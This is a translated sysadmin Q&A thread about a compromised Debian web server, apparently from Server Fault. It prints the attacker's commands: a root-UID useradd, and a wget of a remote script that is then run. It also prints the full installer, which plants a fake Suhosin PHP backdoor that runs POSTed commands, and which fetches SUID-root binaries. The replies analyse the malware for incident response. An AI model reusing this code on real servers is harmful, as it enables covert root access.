我可能刚刚检测到我的服务器上的用户已经植根了我的服务器,但这不是我要问的。
有人见过这样的命令吗:
echo _EoT_0.249348813417008_;
id;
echo _EoT_0.12781402577841_;
echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;
在我看来,这是一些自动脚本的工作,但我不确定是哪一个。
有人对此有线索吗?
操作系统是 Debian Lenny,内核 2.6.30-bpo.2-686-bigmem(如果这很重要)。
顺便说一句,上面代码中的链接是屏蔽的,任何想要下载代码的人,我都复制了一份,以供分析,因此我可以根据要求提供它。
编辑:如果有人感兴趣的话,我将附上.sh 脚本的内容作为参考。
#!/bin/sh
PHP=`which php`
PHP_INCLUDE_PATH=`$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}'`
if [ -z $PHP_INCLUDE_PATH ]
then
PHP_INCLUDE_PATH="/usr/share/php"
mkdir -p $PHP_INCLUDE_PATH
fi
GETROOT_32=$PHP_INCLUDE_PATH"/suhosin32.so"
GETROOT_32_URL="http://178.xxx.xxx.181/32"
GETROOT_64=$PHP_INCLUDE_PATH"/suhosin64.so"
GETROOT_64_URL="http://178.xxx.xxx.181/64"
PHP_FILE_PATH=$PHP_INCLUDE_PATH"/suhosin.php"
PHP_FILE_PATH_SLASHED=`echo $PHP_FILE_PATH | sed 's/\//\\\\\//g'`;
for file in `find / -type f -name 'php.ini'`
do
APPEND=`egrep -v '^;' $file | grep auto_prepend_file`
OPENBASEDIR=`egrep -v '^;' $file | grep open_basedir`
echo "[*] opendir:$OPENBASEDIR"
if [ ! -z "$APPEND" ]
then
APPEND_CMD=`echo $APPEND | awk -F "=" '{print $1}'`
APPEND_FILE=`echo $APPEND | awk -F "=" '{print $2}'`
echo "[*] $file : $APPEND_CMD=$APPEND_FILE"
echo "[~] need to replace auto append file"
if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE=`echo "$APPEND_FILE" | sed 's/\//\\\\\//g'`;fi
sed "s/$APPEND_CMD=$APPEND_FILE/$APPEND_CMD=$PHP_FILE_PATH_SLASHED/g" $file > 1
else
echo "[~] need to add auto_append_file"
cp $file 1
echo "auto_prepend_file = $PHP_FILE_PATH" >> 1
fi
touch -r $file 1
mv 1 $file
done
echo "[!] printing $PHP_FILE_PATH"
if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi
cat >$PHP_FILE_PATH<<EOF
<?php
/**
* SUHOSIN, the PHP Extension and Application Repository
*
* SUHOSIN security patch
*
* PHP versions 4 and 5
*
* @category pear
* @package Suhosin patch
* @author Sterling Hughes <[email protected]>
* @author Stig Bakken <[email protected]>
* @author Tomas V.V.Cox <[email protected]>
* @author Greg Beaver <[email protected]>
* @copyright 1997-2010 The Authors
* @license http://opensource.org/licenses/bsd-license.php New BSD License
* @version CVS: \$Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz \$
* @link http://pear.php.net/package/PEAR
* @since File available since Release 0.1
*/
function suhosin_unxor(\$data,\$len,\$key)
{
for(\$i=0;\$i<\$len;\$i++)
{
\$data[\$i]=chr((\$key+\$i)^ord(\$data[\$i]));
}
return \$data;
}
if(isset(\$_SERVER['REQUEST_URI']))
{
if(isset(\$_POST['suhosinkey']) && isset(\$_POST['suhosinaction']))
{
if(\$_POST['suhosinkey']=='we48b230948312-0491vazXAsxdadsxks!asd')
{
if(isset(\$_POST['suhosindata']) && isset(\$_POST['suhosincrc'])
&& crc32(\$_POST['suhosindata'])==\$_POST['suhosincrc'])
{
\$data=base64_decode(\$_POST['suhosindata']);
\$data=suhosin_unxor(\$data,strlen(\$data),ord('W'));
if(\$_POST['suhosinaction']=="update")
{
print "SUHOSIN OK\n".file_put_contents(__FILE__,\$data);
}
else if(\$_POST['suhosinaction']=="command")
{
system(\$data);
print("SUHOSIN CMD\n");
}
}
}
}
}
?>
EOF
chmod 777 $PHP_FILE_PATH
touch -r /bin/ls $PHP_FILE_PATH
echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)"
WGET=`which wget`
CHOWN=`which chown`
`$WGET $GETROOT_32_URL -O $GETROOT_32`
`$CHOWN root $GETROOT_32`
chmod 4755 $GETROOT_32
touch -r /bin/ls $GETROOT_32
`$WGET $GETROOT_64_URL -O $GETROOT_64`
`$CHOWN root $GETROOT_64`
chmod 4755 $GETROOT_64
touch -r /bin/ls $GETROOT_64
ls -la $GETROOT_32 $GETROOT_64
echo "[!] restarting ctls"
for ctl in ` ls {/usr/local/{http*,apache*}/bin/*ctl,/usr/sbin/{http*,apache*}ctl} 2>&1 | grep -v "No such"`
do
echo "[*] restarting $ctl"
`\$ctl restart`
done
rm $0
有趣的。
答案1
确实很有趣。
我以前从未见过这种东西,但看看这个suhosin14.sh
脚本,它很邪恶。它会修改php.ini
系统上能找到的所有文件,希望让 PHP 在呈现的每个 PHP 网页中即时添加一些代码(通过auto_prepend_file
)。suhosin14.sh
它还会下载并安装一对 SUID-root 模块,大概是为了让其添加的 PHP 代码以 root 权限运行。
前面的 PHP 脚本 ( suhosin.php
) 包含注释标头,使其声称是 Suhosin PHP 安全补丁的一部分,但事实并非如此。相反,该脚本会监视包含 XOR 模糊命令的特定 HTTP POST 请求,然后对其进行反模糊处理并运行(root
由于 SUID-root 模块,可能具有特权)。
如果这个东西在你的系统上运行,那么它很可能被 root 了。撤消suhosin14.sh
安装程序所做的操作 [具体来说:删除 PHP prepend-script suhosin.php
、删除 SUID-root 模块suhosin32.so
和suhosin64.so
,并恢复原始php.ini
文件] 可能不足以确保安全,因为首先必须有人获得root
访问权限才能成功运行安装程序。此外,通过 PHP prepend-script 远程发送的后续命令可以轻松安装任意数量的 rootkit 或其他后门。
我没什么其他建议,除了检查 Apache 日志中是否有对通常不应收到 POST 请求的页面的 POST 请求:这些可能是发送到您系统的远程命令的实例。不幸的是,日志不会告诉您执行了哪些命令,但您可能会获得其他一些有用的信息,例如 IP 地址和时间戳。
答案2
几天前我也遇到过这种情况。您是否使用过 Drupal 或 Wordpress?我很好奇这是否可能是由于这两个 CMS 存在漏洞。这种情况已经发生过三次,并且采取了一些安全预防措施,但他们似乎仍然能够将 suhosin 添加到我们的 php.ini 文件中。至少可以说非常烦人。如果您能提供更多有关可能原因或解决方案的信息,我们将不胜感激。
谢谢,约瑟夫
答案3
哇,这太神奇了,周四我也遇到了同样的情况,他们破坏了我的整个服务器。我仍然不知道该修复什么。有人能告诉我吗?
我在日志文件中发现了一些有趣的东西。所以我知道有人连接到它并将文件下载到服务器,这真是太神奇了。我甚至发现了与你们之前发布的 IP 相同的 IP。
--2010-11-25 23:16:18-- http://178.17.163.181/cbsdx 连接到 178.17.163.181:80... 已连接。HTTP 请求已发送,正在等待响应... 200 OK 长度:8506 (8.3K) [text/plain] 保存至:
cbsdx' 0K ........ 100% 94.8K=0.09s 2010-11-25 23:16:18 (94.8 KB/s) -
cbsdx'已保存 [8506/8506] [2010 年 11 月 25 日星期四 23:17:41] [通知] 已收到 SIGHUP。正在尝试重新启动
你对 useradd 的评论非常有趣,因为我有一句话说:
11 月 25 日 23:16:24 s15398462 useradd[7815]: 新用户:name=aspnet、UID=0、GID=0、home=/home/aspnet、shell=/bin/bash
我也使用 Wordpress,因此这可能是问题所在,但我还有其他一些程序,所以谁知道呢。